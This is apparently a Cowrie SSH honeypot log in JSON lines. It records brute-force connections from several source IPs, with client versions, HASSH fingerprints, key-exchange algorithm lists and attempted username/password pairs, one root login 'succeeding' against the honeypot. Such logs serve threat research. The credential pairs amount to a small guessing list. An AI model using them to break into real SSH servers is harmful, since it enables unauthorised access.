{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:51:14.554595Z","src_ip":"42.200.78.78","session":"cf45e23c1732","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mes","password":"123456","message":"login attempt [mes/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:51:15.469319Z","src_ip":"42.200.78.78","session":"cf45e23c1732","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:51:16.692884Z","src_ip":"42.200.78.78","session":"cf45e23c1732","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":38018,"dst_ip":"159.203.135.109","dst_port":22,"session":"b51f867101df","protocol":"ssh","message":"New connection: 2.57.122.96:38018 (159.203.135.109:22) [session: b51f867101df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:51:18.452029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:51:18.456787Z","src_ip":"2.57.122.96","session":"b51f867101df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:51:18.556140Z","src_ip":"2.57.122.96","session":"b51f867101df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"shredstream","message":"login attempt [solana/shredstream] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:51:18.855175Z","src_ip":"2.57.122.96","session":"b51f867101df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:51:19.956299Z","src_ip":"2.57.122.96","session":"b51f867101df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":60026,"dst_ip":"159.203.135.109","dst_port":22,"session":"24d75f707761","protocol":"ssh","message":"New connection: 92.118.39.95:60026 (159.203.135.109:22) [session: 24d75f707761]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:51:36.268071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:51:36.272270Z","src_ip":"92.118.39.95","session":"24d75f707761","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:51:36.375479Z","src_ip":"92.118.39.95","session":"24d75f707761","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:51:36.709769Z","src_ip":"92.118.39.95","session":"24d75f707761","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:51:37.844025Z","src_ip":"92.118.39.95","session":"24d75f707761","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.77.48","src_port":37794,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbc5d875ba17","protocol":"ssh","message":"New connection: 103.154.77.48:37794 (10.17.0.5:22) [session: dbc5d875ba17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:52:26.303856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:52:26.309158Z","src_ip":"103.154.77.48","session":"dbc5d875ba17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:52:26.572478Z","src_ip":"103.154.77.48","session":"dbc5d875ba17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nora","password":"12345678","message":"login attempt [nora/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:52:27.647678Z","src_ip":"103.154.77.48","session":"dbc5d875ba17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:52:28.912363Z","src_ip":"103.154.77.48","session":"dbc5d875ba17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.196.64.198","src_port":32832,"dst_ip":"10.17.0.5","dst_port":22,"session":"2efe83a17892","protocol":"ssh","message":"New connection: 20.196.64.198:32832 (10.17.0.5:22) [session: 2efe83a17892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:52:34.750820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:52:34.755302Z","src_ip":"20.196.64.198","session":"2efe83a17892","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:52:34.952024Z","src_ip":"20.196.64.198","session":"2efe83a17892","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alfred","password":"12345678","message":"login attempt [alfred/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:52:35.754452Z","src_ip":"20.196.64.198","session":"2efe83a17892","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:52:36.957350Z","src_ip":"20.196.64.198","session":"2efe83a17892","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.137.141","src_port":57932,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cf7cc406524","protocol":"ssh","message":"New connection: 5.75.137.141:57932 (10.17.0.5:22) [session: 8cf7cc406524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:52:40.741591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:52:40.745717Z","src_ip":"5.75.137.141","session":"8cf7cc406524","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:52:40.837110Z","src_ip":"5.75.137.141","session":"8cf7cc406524","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sushi","password":"Sushi","message":"login attempt [sushi/Sushi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:52:41.024434Z","src_ip":"5.75.137.141","session":"8cf7cc406524","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:52:42.118134Z","src_ip":"5.75.137.141","session":"8cf7cc406524","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":45900,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d71b6c33357","protocol":"ssh","message":"New connection: 92.118.39.76:45900 (10.17.0.5:22) [session: 5d71b6c33357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:52:46.122985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:52:46.127342Z","src_ip":"92.118.39.76","session":"5d71b6c33357","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:52:46.226163Z","src_ip":"92.118.39.76","session":"5d71b6c33357","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:52:46.523277Z","src_ip":"92.118.39.76","session":"5d71b6c33357","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:52:47.624943Z","src_ip":"92.118.39.76","session":"5d71b6c33357","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.78.78","src_port":46118,"dst_ip":"10.17.0.5","dst_port":22,"session":"7bd725a3d316","protocol":"ssh","message":"New connection: 42.200.78.78:46118 (10.17.0.5:22) [session: 7bd725a3d316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:53:09.583201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:53:09.587632Z","src_ip":"42.200.78.78","session":"7bd725a3d316","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:53:09.808011Z","src_ip":"42.200.78.78","session":"7bd725a3d316","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"AA123456","message":"login attempt [root/AA123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:53:10.720385Z","src_ip":"42.200.78.78","session":"7bd725a3d316","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.126.82.218","src_port":35250,"dst_ip":"10.17.0.5","dst_port":22,"session":"9508b92441ad","protocol":"ssh","message":"New connection: 101.126.82.218:35250 (10.17.0.5:22) [session: 9508b92441ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:53:10.841845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:53:10.846529Z","src_ip":"101.126.82.218","session":"9508b92441ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:53:11.082276Z","src_ip":"101.126.82.218","session":"9508b92441ad","protocol":"ssh"}
